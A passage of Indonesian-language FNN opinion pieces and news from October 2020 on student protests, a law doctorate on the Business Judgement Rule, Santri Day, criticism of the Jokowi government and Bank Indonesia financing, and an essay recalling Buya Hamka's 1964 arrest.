KPK. Kemudian disusul dengan beberapa UU berikutnya yang menihilkan partisipasi dan aspirasi publik. Menurut Marcus Mietzner Associate Professor di Australian National University, Australia, “Dalam kasus Indonesia, eksekutif juga menggunakan polarisasi ini untuk membenarkan tindakan yang semakin tidak liberal. Kombinasi, polarisasi dan peningkatan illiberalisme eksekutif telah mengurangi sumber daya aktivis masyarakat sipil Indonesia. Eksekutif Indonesia juga mempercepat kemunduran demokrasi negara dalam proses polarisasi dan tindakan yang tidak liberal tersebut” (Sources of Resistance to Democratic Decline : Indonesia Civil Society and Its Trials - Juli 2020). Situasi kenegaraan dan kebangsaan kita hari ini harus diakui sedang berada “di ujung tanduk”. Mahasiswa sebagai kekuatan perubahan dan elemen idealis, diyakini menyatukan dirinya pada politik kebangsaan. Bukan pada politik partisan. Mereka menentang ketidakadilan guna menghadirkan demokrasi yang mengalami distrosi. Harus ada jalan tengah menghentikan mata rantai kerusuhan. Semua pihak, terutama pemimpin eksekutif dan pemimpin legislatif, yang terpilih karena suara dari rakyat, agar ikhlas membungkukan badan sedikit saja. Mengulurkan tangan menyapa mahasiswa yang relatif adalah anak-anak mereka. Mahasiswa para calon pemimpin bangsa, sehingga diyakini bara ketegangan dapat diredupkan. Budaya saling menghargai, saling menghormati dan saling meninggikan sebagai cerminan peradaban tinggi ketimuran yang membanggakan semua yang namanya Indonesia.,wajib hukumnya mengemuka. Adalah tanggung jawab pemimpin untuk mencontohkannya. Dalam masyarakat modern yang berkeadaban, apalagi dalam konteks penggunaan hak masyarakat berpendapat, tentu saja budaya borgol dan water canon serta gas airmata tidak sepantasnya untuk selalu disuruh bicara. Ini untuk menghindari pertentangan yang berpotensi menyeret semua pihak ke dalam jebakan budaya primitif. Penulis adalah Wartawan Senior & Pemerhati Masalah Sosial Budaya.

Alon Raih Doktor Hukum Dengan Cum Laude

by Kisman Latumakulita Semarang FNN – Selasa (20/10). Chairman Bening Institute Teuku Syahrul Ansari SH. MH. yang biasa disapa dengan “Alon” resmi menyandang gelar doktor Ilmu Hukum pada Fakultas Hukum Universitas Diponegoro (Undip) Semarang. Dalam ujian virtual yang dipimpin Dekan Fakultas Hukum Undip Prof. Dr. Retno Saraswati, SH. M.Hum di Semarang pada Senin, 19 Oktober 2020, Alon yang juga Managing Partner pada TSA Advocates tersebut ditetapkan lulus dengan predikat “cum laude”. Promovendus Tengku Syahrul Ansari dinilai berhasil mempertahankan disertasinya yang berjudul "Membangun Sistem Business Judgement Rule pada Badan Usaha Milik Negara (BUMN) Persero dalam Hukum Ekonomi Indonesia". Disamping Dekan Fakultas Hukum Undip, tampil sebagai penguji (eksternal) adalah Prof. Dr. Bismar Nasution, SH. MH. guru besar Ilmu Hukum Ekonomi Universitas Sumatera Utara (USU). Penguji lainnya adalah Prof. Dr. F.X. Joko Priyono SH. M.Hum, Prof. Dr. Budi Santoso SH. MS., Dr. Darminto, SH., LLM., Dr. Yunanto, SH. M.Hum., dan Dr. Paramita Prananingratyas, SH., LLM. "Guna membangun bangsa lebih maju ke depan, Indonesia perlu memiliki BUMN yang mampu berkiprah di tingkat dunia. Untuk itu, bukan cuma di tataran jargon, namun BUMN sebagai korporasi perlu ditopang sebuah sistem yang disebut “Business Judgement Rule". Menurutnya, “Business Judgement Rule (BJR)" menentukan maju dan berkembangnya perusahaan BUMN. Dimulai dari holding atau perusahaan induk (parent company), anak perusahaan (subsidiary company), hingga "cucu" korporasi. Dengan “Business Judgement Rule", BUMN dapat memiliki daya saing tinggi, dan bakal maksimal menghadirkan kesejahteraan dan kemajuan bangsa. Dalam disertasi setebal 667 halaman, Syahrul mengeksplorasi penelitian seputar pengelolaan keuangan BUMN sebelum dan sesudah Mahkamah Konstitusi (MK) memutuskan perlunya penerapan prinsip “Business Judgement Rule (BJR)". Selanjutnya, karena penerapan “Business Judgement Rule" berkaitan dengan berbagai peundangan-undangan, maka promovendus menyoroti harmonisasi peraturan yang ada. Syahrul berpendapat hukum ekonomi Indonesia sepatutnya membuka ruang penerapan Business Judgement Rule dalam keseharian operasional perusahaan BUMN. Hasil penelitian menunjukkan, ulas praktisi hukum itu, perlu dibangun sistem hukum korporasi yang menegaskan berlakunya prinsip-prinsip good corporate governance (tata kelola perusahaan yang baik) yang melandasi prinsip “Business Judgement Rule. Ditegaskannya bahwa hal itu dimaksudkan untuk menghindari banyaknya konflik kepentingan (conflict of interest) dalam pengurusan BUMN. Termasuk di dalamnya pemegang saham negara, yakni Menteri Keuangan yang dikuasakan kepada Menteri Negara BUMN. "Sistem hukum perlu juga membentuk 'pengadil baru' pada sistem peradilan, dengan memberi peran hakim adhoc. Ini masukan atau rekomendasi penyempurnaan UU BUMN, UU Perseroan Terbatas, UU Keuangan Negara, dan berbagai UU lainnya yang berhubungan dengan kinerja organ di BUMN," tandas Syahrul. Secara umum pengguji menggali peluang prinsip “Business Judgement Rule” benar-benar diterapkan dalam sistem hukum ekonomi Indonesia pada masa mendatang. Karenanya, menurut Alon, Prof Bismar dan Prof Retno, serta penguji lainnya mendorong Alon terus mengembangkan kajiannya seputar “Business Judgement Rule”. Besar harapan Undip khususnya dan perguruan tinggi umumnya, rumusan ilmiah seputar “Business Judgement Rule”semakin komprehensif pada masa mendatang, sehingga menjadi sumbangan berarti bagi kemajuan BUMN di Indonesia. Atas dorongan Prof Bismar, Prof Retno, dan penguji lainnya, Alon menyatakan bersemangat untuk terus mengkaji persoalan hukum ekonomi yang mempengaruhi BUMN kita. Khususnya sekarang seputar tantangan penerapan prinsip Business Judgement Rule di BUMN Indonesia.. Usai resmi mengelar doktor, tampak berderet puluhan karangan bunga ucapan selamat di halaman rumah Chairman Bening Institute Alon di Jati Bening Residence, Kota Bekasi. Bening Institute adalah lembaga kajian hukum, ekonomi, dan politik yang telah menerbitkan sejumlah buku atas berbagai kegiatannya. Penulis adalah Wartawan Senior FNN.co.id.

Santri Sebagai Agen Perubahan

by Imam Shamsi Ali Makasar FNN – Selasa (20/10). Satu hal yang akan diingat oleh sejarah di negeri tercinta adalah bahwa di negeri ini ada satu hari yang diperingati sebagai Hari Santri. Konon ini menjadi bagian dari perjuangan teman-teman Nahdatul Ulama (NU), yang pada akhirnya diterima dan ditetapkan oleh pemerintah dengan sebuah Keputusan Presiden (Kepres). Usaha ditetapkannya Hari Santri ini mengingatkan saya bagaimana lika-liku perjuangan kami Komunitas Muslim di kota Bew York, yang memperjuangkan ditetapkannya Idul Fitri dan Idul Adha sebagai Hari Libur di Kota New York. Perjuangan itu memakan waktu kurang lebih tujuh tahun. Hingga pada akhirnya ketika Bill de Blasio, terpilih menjadi Walikota New York kami berhasil meyakinkan beliau. Perjuangan kami cukup panjang. Sejak saat Michael Bloomberg sebagai Walikota, kami telah melakukan pendekatan itu. Setelah meloloskan resolusi dukungan DPRD New York, kami mendesak Walikota untuk menandatangani Resolusi itu untuk menjadi UU di Kota New York. Sayang hingga akhir tugasnya sebagai walikota New York, Michael Bloomberg gagal meresmikan Id sebagai hari libur Kota New York. Hingga ketika calon Walikota Bill de Blasio meminta dukungan pada pilkada ketika itu, kami mengikat dukungan itu dengan komitmen Walikota nantinya untuk meresmikan Id sebagai hari libur. Beliau setuju dan jadilah Idul Fitri dan Idul Adha sebagai hari libur di Kota New York. Benar tidaknya tentang proses penetapan Hari Santri ini sebagai bagian dari konsesi dukung mendukung ketika itu, pastinya kita tidak bisa lepas dari koneksi politik itu. Bagi saya itu sah-sah saja. Disitulah harusnya salah satu makna jihad di jalan politik. Ormas Islam memang harusnya menjadi bagian dari perjalanan atau proses itu. Memperjuangkan kepentingan Umat lewat proses politik tanpa berpolitik. Sebagai sanatri, saya sendiri tentunya bangga bahwa pada akhirnya santri mendapat pengakuan resmi negara. Saya katakan resmi karena sesungguhnya pengakuan bangsa ini kepada santri menjadi bagian dari kesyukuran dan paham sejarah negeri. Bahwa santri tidak akan bisa dipisahkan dari sejarah panjang perjalanan besar bangsa ini. Santri Pilihan & Mutamayyiz Pada masa lalu, ada semacam persepsi yang terbangun seolah anak yang disekolahkan di pesantren itu adalah pembuangan. Artinya, hanya mereka yang tidak lolos masuk sekolah negeri Yang dimasukkan ke pesantren. Maka pesantren misalnya identik dengan anak-anak nakal seperti saya. Persepsi ini saya yakin dengan sendirinya telah bergeser atau tergeser. Ada realita bahwa ternyata santri itu memikiki potensi dan kapabilitas yang tidak kurang. Bahkan tidak mustahil santri bisa lebih dari tamatan sekolah-sekolah umum lainnya. Santri-santriyah itu memiliki azam (keinginan yang kuat) yang terbangun di atas kepribadian yang mandiri. Seseorang tidak akan bertahan dan berhasil di pesantren, kecuali dengan keinginan yang solid dan matang. Hal itu karena situasi pesantren yang menuntut (demanding) dalam segala hal. Santri dan santriyah juga selama di pesantren tidak saja belajar keilmuan (tholab al-ilm). Justeru yang mereka pelajari di pesantren itu adalah bagaimana hidup (life training atau latihan hidup). Mereka belajar hidup sebagai manusia yang independen, disiplin, dan tentunya dengan tatapan masa depan yang besar dan optimisme. Salah satu pesan kyai saya dulu di pondok, KH Abdul Djabbar Ashiry, di saat saya pamit ke luar negeri untuk sekolah adalah belajar hidup ini. Dalam bahasa Arab yang tertata rapih dan fasih beliau mengatakan, “nak, kamu itu di pesantren ini tidak saja telah menimbah Ilmu. Tetapi kamu telah belajar hidup. Dimana saja kamu berada, niscaya kamu siap untuk hidup”. Santri itu juga bermental baja. Dunia yang semakin kejam dengan persaingan yang semakin ketat hanya akan bisa ditaklukkan dengan mentalitas baja. Manusia yang bermental kerupuk akan hancur berkeping dilabrak pergerakan dan perubahan, serta ragam tantangannya yang semakin kompleks. Di pesantrenlah santri dan santriyah ditempa untuk berani. Percaya diri dan tidak minder (rendah diri). Mereka tumbuh tetap dalam ketawadhuan. Tetapi memiliki keberanian dan percaya diri yang tinggi untuk mengambil bagian dari perubahan dan tantangan hidup yang ada. Santri dan santriyah juga adalah sosok yang menggabungkan antara antara dua kekuatan dan modal hidup manusia besar dan hebat. Kedua kekuatan dan modal hidup itu adalah kekuatan intellectual (akal) dan kekuatan spiritual (hati). Dengan dua kekuatan ini, mereka menjadi manusia “Ulul albaab” yang siap menundukkan dunia dengan tantangannya. Disinilah kita lihat partisipasi dan keterlibatan para santri dan santriyah dalam segala lini kehidupan manusia. Baik itu pada tataran personal maupun publik. Mereka menjadi politisi, pebisnis, dan ragam profesi lainnya dengan kedua kekuatan tersebut. Kuat akal dan kuat hati. Maka mereka tidak mudah tertipu (karena berakal) dan juga (harusnya) terjaga dari menipu (karena punya hati). Tentu banyak keunikan atau keistimewaan santri dan santriyah itu. Tetapi satu hal yang tak kalah pentingnya adalah bahwa santri dan santriyah itu adalah agen-agen perubahan (al-amiruuna bil-ma’ruf wa an-naahuuna an-almunkar). Dengan modal dan kekuatan akal dan spiritualitas, yang didukung oleh mental baja tadi, mereka siap mengarungi bahtera kehidupan ini dengan segala dinamikanya. Ada satu hal yang terpenting dari semua itu. Bahwa santri-santriyah dengan segala perubahan dunia yang “deeply challenging” (penuh tantangan) tidak mengalami goncangan dan tidak pula terombang-ambing oleh goncangan kehidupan. Sebaliknya justeru santri dan santriyah menjadi “backbone” (tulang punggung) perubahan ke arah perubahan yang lebih baik (positive change). Karakter perubahan yang ada pada santri dan santriyah ini yang dikenal dalam agama sebagai karakter “amar ma’ruf nahi munkar”. Karenanya dalam dunai yang saat ini dikenal sebagai dunia global. Yang tantangannya semakin besar. Perubahan yang ada semakin cepat. Maka santri dan santriyah diharapkan selalu berada di garda terdepan untuk menjadi agen perubahan. bukan justeru obyek dan korban dari perubahan-perubahan yang terjadi. Selamat Hari Santri! Penulis adalah Alumni Pesantren Muhammadiyah Darul-Arqam Gombara.

Setahun Penuh Gaduh & Demo Yang Dirindukan

by M. Rizal Fadillah Bandung FNN – Selasa (20/10). Tanggal 20 Oktober adalah Hari Ulang Tahun (HUT) satu tahun Pemerintahan Jokowi-Ma'ruf Amin. Ulang tahun peringatan yang tidak dalam suasana ceria dan menggembirakan. Covid 19 membuat cuaca mendung dengan wajah-wajah yang bermasker. Artinya, suasana penuh dengan rasa keprihatinan. Sementara itu Undang-Undang Omnibus Law Cipta Kerja (Cilaka) yang disahkan DPR tanggal 5 Oktober lalu, bukan menjadi kado yang menyenangkan. Malah sebaliknya, Undang-Undang ini menuai penolakan di hampir seluruh penjuru tanah air. Sebagian rakyat khususnya buruh, mahasiswa dan pelajar malah menangis sedih dan berunjuk rasa. Setahun telah dijalani dengan lebih banyak luka dan duka ketimbang suka. Pemerintahan Jokowi memulai periode kedua ini ditandai oleh suasana yang gaduh. Ekonomi morat-marit. Hukum tidak hadir untuk membentuk kedamaian dan ketertiban, serta politik yang selalu gonjang-ganjing. Seluruhnya akibat dari kebijakan penyelenggaran negara yang tidak bijak. Penyelenggara negara terkesan tidak mendengar apa kata rakyat. Sebaliknya, melawan aspirasi rakyat. Oligarkhi, korporasi dan konglomerasi yang akhirnya menggeser demokrasi, dan aneksasi telah menjauhkan "souvereignity". Tanggal 28 Oktober nanti adalah Hari Sumpah Pemuda. Gerakan kaum muda untuk menentukan arah dan perjuangan bangsa. Satu bangsa, bahasa, dan tanah air. Para pemuda yang berkomitmen untuk membebaskan diri dari penindasan, perbudakan, dan penjajahan. Angkatan muda yang menggelora adalah dinamika bangsa dan negara. Tangga 10 November nanti adalah Hari Pahlawan. Mengenang semangat perjuangan untuk mengusir penjajah, baik itu Inggris ataupun Belanda yang ingin kembali menguasai tanah ir. Pekik takbir dan merdeka membahana menjadi kekuatan untuk mengusir penjajah. Kekuatan Ilahi dan semangat untuk mempertahankan kemerdekaan berpadu dalam kegigihan dan kemenangan. Wajar saja jika 10 November 2020 nanti masyarakat membangkitkan kembali jiwa kepahlawanan atau patriotisme. Makam Pahlawan bukan kematian yang sekedar diziarahi. Tetapi menjadi tempat jiwa-jiwa kehidupan yang disusun kembali. Menggemakan suara kematian untuk kehidupan yang berani mati. Mati syahid atau hidup mulia. Tanggal 2 Desember bagai telah menjadi "harinya umat". Hari bagi runtuhnya kesombongan dan keangkuhan penista agama. Ahok yang digjaya dipaksa "bernafas di dalam bui". Jutaan umat Islam melakukan aksi damai yang berbuah manis. Perjuangan sukses dalam membangun wibawa keumatan melawan kekuasaan yang sombong, angkuh dan menistakan. Angka 212 telah menjadi nama dari gerakan aksi dan silaturahmi. Berlanjut dengan reuni untuk mengenang perjuangan damai. Meski tokoh pencerah saat khutbah Habib Rizieq Shihab (HRS) kini masih diasingkan di Makkah Al-Mukarromah, namun suaranya terus menggema. Desakan untuk melepas cekal agar bisa kembali semakin terus menguat. Dua Rancangan Undang-Undang (RUU) yang membuka peluang menjadi ledakan yaitu RUU Haluan Ideologi Pancasila (HIP) yang berubah menjadi RUU Badan Pembinaan Ideologi Pancasila (BPIP). Sementara RUU Omnibus Law yang baru diketuk menuai masalah. Dua peraturan "panas" ini dapat menjadi bola liar yang berujung pada krisis ideologi, hukum, ekonomi dan politik. Jika keliru mencari solusi, maka bukan mustahil berakhir pada suksesi kepemimpinan. Sebab secara umum disebut aksi, tetapi secara agama itu namanya syi'ar. Unjuk rasa, unjuk kekuatan, dan unjuk kebersamaan. Dalam momen strategis aksi atau syi'ar menjadi tekanan politik bagus. Konstitusi melindungi kebebasan berserikat dan menyampaikan pendapat. Penyelenggaraan negara memang harus dikontrol oleh kekuatan sivil society. Supaya tercipta check and balances. Tidak boleh sampai penyelenggara negara sesuka hati. Budeg dan tuli untuk mendengar aspirasi rakyat. Apalagi DPR telah berubah menjadi Dewan Pereakilan Rezim (DPR). Waratwan senior FNN.co.id menyebut DPR sebagai Kantor Cabang atau Kantor Perwakilan Presiden. Selamat ulang tahun pak Jokowi. Jadikan saja demo sebagai alat untuk pengontrol pemerintah. Supaya pemerintah tidak keliru. Juga jadikan saja aksi dan syi'ar sebagai hal yang dirindukan sebagaimana yang pernah dipidatokan Pak Jokowi dahulu di Gedung Merdeka Bandung. "Saya kangen sebenarnya didemo. Karena apa ? Apapun..apapun..pemerintah itu perlu dikontrol. Pemerintah itu perlu ada yang peringatin kalo keliru. Jadi sekarang saya sering ngomong dimana-mana 'tolong saya didemo'. Pasti saya suruh masuk". Penulis adalah Pemerhati Politik dan Kebangsaan.

Bahaya Bank Indonesia Jadi ATM Pemerintah

by Salamuddin Daeng Jakarta FNN – Selasa (20/10). Anggaran Pendapatan dan Belanja Negera (APBN), baik untuk tahun 2020 maupun 2021 dalam bahaya. Karena penerimaan negara dari pajak dan Penerimaan Negara Bukan Pajak (PNBP) cekak. Sementara untuk dapat utang dalam besar hari ini, tidak tidak mudah. Selain tidak ada yang percaya, banyak negara peminjam punya persoalan keuangan yang sama. Akhirnya pemerintah kemungkinan menggunakan dana bank-bank komersial yang disimpan di Bank Indonesia. Sementara defisit APBN terhadap Penerimaan Demostik Bruto (PDB) juga semakin membesar dan melebar. Kenyataan ini sebagai akibat dari penerimaan pajak dan PNBP menurun drastis tersebut. Semua kekurangan penerimaan pemerintah di APBN, baik itu yang bersumber dari pajak maupun PNBP diupayakan untuk ditutupi dengan berhutang kepada Bank Indonesia. Intrumennya melalui Quantitative Aesing (QE). Padahal dana yang tersedia di Bank Indonesia adalah dana cadangan minimum bank. Dana cadangan minimum bank adalah dana tabungan masyarakat. Untuk tahun 2021 mendatang, diperkirakan utang luar negeri terhadap PDB semakin membesar dan melebar. Derkirakan bakal lebih dari 50 persen terhadap PDB. Ini dikarenakan PDB menurun. Sementara utang bakal bertambah 50 persen dibandingkan periode tahun sebelumnya. Utang pemerintah akan melompat menjadi 4- 5 kali dari APBN. Utang pemerintah juga akan melompat menjadi 10 kali pendapatan negara dari pajak. Pada saat yang sama ada signal kuat bahwa pemerintah akan kesulitan untuk mendapatkan pembiayaan dari luar negeri dan pasar keuangan internasional. Kondisi ini sebagai akibat dari QE yang telah mendapat penolakan dari pasar dan institusi keuangan internasional. QE dipandang oleh pasar dan institusi keuangan internasional sebagai kegiatan yang tabu dan sangat membahayakan stabilitas keuangan. Aturan ini memang tidak tertulis. Namun akan menjadikan Bank Indonesia sebagai ATM pemerintah adalah kebijakan yang sangat konyol. Karena dana di Bank Indonesia adalah tabungan masyarakat. Kapan saja bisa ditarik oleh masyarakat. Berutang kepada Bank Indonesia atau utang kepada bank adalah utang jangka pendek yang riskan. Harus dibayar pada periode tahun anggaran 2021 - 2022. Kemungkinan besar pemerintah tidak akan sanggup untuk membayar pada periode tersebut. Untuk itu harus dan perlu diwaspadai. Jangan sampai masyarakat tidak dapat mencairkan tabungan dan deposito mereka karena bank tidak lagi ada uang. Uang Kotor Rp 10.000 Triliun Proposal Omnibus Law tidak mendapat sambutan baik. Malah mendapat kritik keras dari bank dunia. Begitu juga dengan organisasi Lingkungan Hidup Internasional. Omnibus Law sulit untuk meyakinkan komunitas keuangan internasional. Sebab para investor global umumnya menginginkan melakukan investasi di negara yang ramah lingkungan. Jadi penolakan atas proposal Omnibus Law ini akan memperparah keadaan keuangan pemerintah kelak. Program dana talangan kepada bank, terutama perusahan swasta dan Usaka Mengenah Kecil dan Mikro (UMKM) besar kemungkinan akan gagal. Karena tidak ada tersedia anggaran sesuai yang di rencanakan. Ini juga akan memiliki implikasi lebih buruk pada pertumbuhan ekonomi ke depan. Proyek cetak uang oleh pemerintah ditentang oleh pasar dan institusi Internasional. Uang Indoensia kemungkinan akan dilock oleh internasional jika benar benar melakukan pencetakan uang. Sangat tidak masuk akal jika pemerintah mencetak uang modal kertas dan tinta hanya untuk membeli barang impor dan membayar utang luar negeri. Asing siapa mau terima uang kayak begitu? Pilihan yang terbaik untuk pemerintah adalah melakukan penghematan. Memangkas tunjangan, dan perjalan dinas. Pertemuan-pertemuan yang tidak penting ditiadakan. Bahkan bila perlu memangkas gaji pegawai. Ini memang laggkah yang sulit, tetapi pemerintah tak mungkin punya jalan keluar. Karena sumber pendapatan utama dari pajak sumber daya alam minyak, batubara dan lain-lain akan anjlok. Pilihan paling mungkin yang dilakukan pemerintah adalah menyita uang para koruptor. Terutama mereka yang menyimpan uang hasil kejahatan keuangan di luar negeri. Biasa disebut dengan “uang kotor”. Dengan demikian, akan tersedia cukup dana untuk melanjutkan roda pemerintahan dan APBN. Nah, data mengenai siapa-siapa saja pengusaha Indonesia yang uangnya disimpan di luar negeri itu? Apalagi yang ditenggarai sebagai uang hasil kejahatan tersebut, sudah ada di kantong presiden. Nilainya lebih dari Rp 10.000 triliun. Tinggal berani untuk memulai saja ko Pak Presiden. Penulis adalah Peneliti Asosiasi Ekonomi dan Politik Indonesia (AEPI).

Hukum Menjadi Alatnya Orang Sombong

by Dr. Margarito Kamis, SH.M.Hum Jakarta FNN – Selasa (20/10). Hukum seharusnya selalu terlihat sebagai sesuatu yang sangat mengagumkan pada setiap waktu disepanjang hidup yang membentang. Seharusnya begitu, karena sedari asalnya hukum menyandang sifat sebagai sarana untuk orang-orang yang berakal. Mereka yang berahlak mulia, dan memulikan setiap orang. Hukum juga menjadi sarana yang membuat lingkungan kehidupan menjadi tempat untuk orang-orang hidup secara mulia. Sehingga dalam postur sehebat itu, hukum selalu merupakan pantulan derajat kemuliaan ahlak dan kesadaran paripurna tentang pengadilan abadi yang menanti kelak disuatu saat nanti. Hukum, sekali lagi, tidak pernah tidak menjadi pantulan dari ahlak dan hasrat yang berakar padanya. Bangga Untuk Menyakiti Hukum itu aturan dan aturan itu hukum. Law as a rules, and rules as a law. Begitu ilmuan hukum memberi atribut pada hukum. Tidak salah, tetapi tidak cukup. Karena ia tidak menjelaskan kandungan epistemologisnya. Orang-orang sombong punya perspektif tersendiri dalam memandang hukum. Dalam semua sudutnya, perspektif mereka berbeda secara mendasar dengan perspektif orang-orang arif. Sombong dan arif itulah titik tolak isi substansi dan pelaksanaan hukum. Sombong yang tidak pernah tidak membakar. Sombong yang tidak pernah tidak menyesatkan dan membutakan itu, suka atau tidak, yang mengarahkan isi hukum. Itu juga yang menjadi pengarah pelaksanaan hukum. Orang-orang barat tidak bicara soal ini setiap kali mereka bicara pembentukan dan penegakan hukum. Tidak. Yang mereka bicarakan, paling jauh, persis seperti dilakukan oleh Joseph Raz, yang dalam dunia ilmu hukum dikenal sebagai salah satu positivis kawakan ini. Bukan tak berusaha membuat substansi hukum terlihat hebat. Tetapi usaha itu hanya sampai pada mengenal hukum-hukum non UU, yang melembaga dalam masyarakat. Ini Joseph Raz sebut primary rules. Soal ini dihasratkan untuk dikenal oleh pembetuk, terutama pelaksana hukum. Masalahnya, dalam kenyataan masyarakat, pada level konsep, bukanlah sesuatu yang bersifat tunggal. Keharusan mengenal dan mengambil apa yang diyakini benar hidup dalam masyarakat, juga diserukan sejumlah sosiolog. Roscou Pound, yang tersohor dengan law as tool for social enggenering, yang ditipikalisasi sebagai fungsi hukum pada masyarakat industri juga tak menyelesaikan soal. Mengapa? Bukan hanya kompleksitas masyarakat itu sendiri, yang mengakibatkan tidak mudah menemukan hal-hal yang disepakati secara sukarela menjadi nilai bersama, tetapi lebih dari itu. Masyarakat industry, ditandai salah satunya dengan masyarakat individualis. Masyarakat yang sangat bertumpu rasionalitas dan mengagungkan kepentingan pribadi dan kelompok. Boleh saja mengidentifikasi Habermas dan Adorno, ilmuan-ilmuan sosial dari Frankfurt School itu sebagai mengada-ada. Tetapi terlalu sulit menyangkal konstatasi kogklusif mereka tentang masyarakat industry. Dalam pandangan mereka masyarakat industri tidak pernah lain dari masyarakat kelas. Hukum, dalam identifikasi mereka adalah refleksi, pantulan kemauan dari masyarakat kelas atas. Umumnya kelas kaum kapitalis. Menyerahkan isi hukum pada masyarakat aristokrat, nama lain dari masyarakat kapitalis adalah menyerahkan arah pembentukan dan pelaksanaan hukum pada mereka. Juga menyerahkan keadilan, bahkan seluruh aspek kehidupan dikendalikan oleh mereka. Orang-orang aristokrat jauh sebelum revolusi industri ini teridentifikasi sejarah sebagai orang-orang yang sombong. Orang-orang yang hanya menggap dirinya sebagai pemilik kebenaran berdasarkan hukum. Para aristokrat, kapitalis klasik ini, teridentifikasi oleh sejarah sebagai masalah terbesar dalam setiap jengkal lingkungan pemerintahan. Orang-orang yang hanya 1% menurut identifikasi Noam Chomsky, inilah masalah terbesar dan sesungguhnya terjadi di Amerika. Entah karena hatinya telah tidak lagi bisa hidup, atau hal lain, orang-orang sombong tidak pernah tahu kalau mereka itu sombong. Sombong telah mengakibatkan mereka menganggap biasa saja terhadap semua yang dilakukannya. Menjilat, memuji, memuja dan menjadi benalu kekuasaan, selamanya ada dalam kamus nafas mereka. Semuanya diterima sebagai hal biasa, bahkan suatu kebenaran . Fir’aun berada di daftar teratas manusia jenis ini. Nero dan Gaius Verres di Romawi Kuno, sebelum naiknya Cicero menjadi konsul adalah jenis yang hampir setara menjijikannya dengan Fir’aun. Entah di level berapa kekejiannya mereka dibandingkan dengan Fir’aun. Hukum untuk mereka tidak lebih dari alat untuk melambungkan kesombongan mereka. Menyakiti dan mempermalukan, termasuk merendahkan manusia tersifati pada hukum yang mereka anut. Tidak lebih. Hukum tertingginya adalah hasrat yang dibimbing oleh sombong, tamak, rakus, picik dan licik. Hasrat penguasa memproteksi kekuasaannya, itulah yang menjadi law of the land, konstitusi. Membantai lawan-lawannya, dianggap biasa oleh mereka. Yang dilakukan Fir’aun, Nero dan Gaius adalah tipikalnya. Sangat menjijikan. Manusia jenis itu bukan tak mengerti keadilan. Tetapi keadilan yang mereka tumpukan dalam gudang kekuasaannya adalah apa yang mereka sendiri anggap adil. Manusia jenis ini juga memonopoli semua yang namanya kebenaran. Sekali mereka mengatakan sesuatu, sekonyol apapun itu, harus dianggap dan diterima sebagai hal yang benar. Hanya mereka yang tahu kebenaran dan keadilan. Diluar itu tidak. Keadilan yang didesakan dari luar mereka, apalagi disuarakan oleh orang-orang yang berbeda garis politiknya, disambut dan dinilai sebagai cara orang-orang bodoh. Yang birahi politik sedang naik, mengacaukan, menantang, sekan-akan hendak meruntuhkan kekuasaan mereka. Persis seperti bos-bosnya. Begitu pula dengan para hulubalang-hulubalangnya. Para hulubalangnya tidak memiliki waktu untuk memeriksa. Misalnya, panduan-panduan pada habes corpus, prinsip dan aturan tentang prosedur menangani kasus dan memperlakukan setiap orang. Meraka tak punya waktu untuk memeriksanya. Yang tertanam di kepala mereka adalah tangkap, tahan, menyakiti dan mempermalukan. Penangkapan Sesat Buya Hamka Petition of Right yang pertama kali diundangkan di Inggris tahun 1628, dan Habes Corpus diundangkan di Inggris tahun 1679, yang di Amerika bisa dikesampingkan dalam keadaan perang sekalipun, tak mampu mereka periksa. Panduan-panduan ini tidak mereka dianggap. Huruf-huruf hukum diganti dengan huruf-huruf hasrat untuk berkuasa, dan penguasa yang tidak mau diganggu oleh kaum oposisi. Pembaca FNN yang budiman. Kenyataan itulah yang terjadi dan dialami oleh Buya Hamka. Ulama yang terus dikenang dengan sikapnya yang konsistens pada kebenaran dan kemanusiaan. Kebenaran yang digariskan dalam Islam, agama yang dipeluk Buya Hamka. Buya Hamka ditangkap oleh penguasa Soekarno tanggal 27 Januari 1964. Namun baru mulai diperiksa penyidik secara intensif pada tanggal 1 Februari 1964. Surat perintah penahanan sementara Buya Hamka itu diparaf langsung oleh Presiden Soekarno. Kasusnya pun dikarang-karang, lalu dituduhkan kepadanya, dengan cara khas menggiring Buya Hamka mengakuinya. Tekniknya sangat khas. Ada penyidik yang tidak mengenal kelembutan. Tahunya cuma kasar, menyudutkan dan merendahkan. Ada waktu untuk penyidik yang kerjanya menyudutkan, dan ada waktu untuk penyidik lain bertindak sebagai perayu dan penolong kelas tinggi. Bila semakin tak menemukan titik terang, itu justru membuat penyidik frustrasi dan meningkatkan menggunakan berbagai teknik standar. Tekanan dan rayuan datang silih berganti. Dalam kasus rekayasa yang dituduhkan kepada Buya Hamka, Inspektur Saedakso dan Inspektur Muljo Kosoemo termasuk dalam kategori kasar. Sementara Daud, masuk kategori pintar dan merayu. Soedakso cukup, bahkan menurut Buya tak putus-putusnya mencerca, mencaci maki dengan sindiran-sindiran tajam. Bahkan yang lebih menyakitkan, Soedakso mengatakan Buya Hamka ulama pembohong dan penghianat negara. “Jika anda tetap tidak mau mengakui perbuatan-perbuatan sebagaimana semua buktinya yang ada pada kami, maka kami akan menyiksa saudara Hamka dengan setrum”. Tidak itu saja, penyidik juga menggalang orang lain yang ikut ditahan, yang dikaitkan kasus rekayasa itu. Orang itu dipakai menggalang Buya Hamka agar mengakui tuduhan-tuduhan yang diajukan penyidik. Tahukah kemana semua cara itu berakhir? Memastikan kasus yang mereka rekayasa itu terbukti. Mohon maafkan mereka, Pak Hamka, “ujar Inspektur Siregar dengan hati-hati. “Semua polisi yang ada disini hanya menjalankan tugas. Mereka tidak bisa ambil keputusan apapun, selain menjalankan tugas sesuai dengan prosedur yang sudah ditentukan, Pak Hamka.” Disela oleh serangkaian percakapan, Inspektur Siregar kembali mengatakan kepada Buya Hama. Katanya “Hanya satu permintaan saya Pak Hamka. Mohon mohon maafkan semua sikap, tindakan dan perkataan anggota tim penyidik yang barangkali tidak berkenaan di hati Pak Hamka” (tanda petik dari saya) Sebab mereka, lanjut Inspektur Siregar, juga tidak tahu apa-apa, kecuali hanya sekadar menjalankan tugas sesuai yang diperintahkan oleh atasan mereka” (semua tanda petik dari saya). Inspektur Siregar juga mengatakan secara pribadi, saya juga maaf jika sekiranya ada perkataan dan sikap saya yang menyinggung perasaan Pak Hamka (Lihat Haidar Musyafa, BUYA HAMKA, Sebuah Novel Biografi, Penerbit Imania, Jakarta, 2018, hal 631-681). Hukum yang memalukan, yang menimpa Buya Hamka ini terjadi kala Indonesia masih memberlakukan UU Subversi. Juga terjadi ditengah PKI sedang berkibar kencang. Saat ini UU memalukan dan menjijikan ini telah dicabut. Indonesia pun telah bertransformasi menjadi negara demokratis. Dr. Sahganda Nainggolan, Jumhur Hidayat, Dr. Anton Permana, 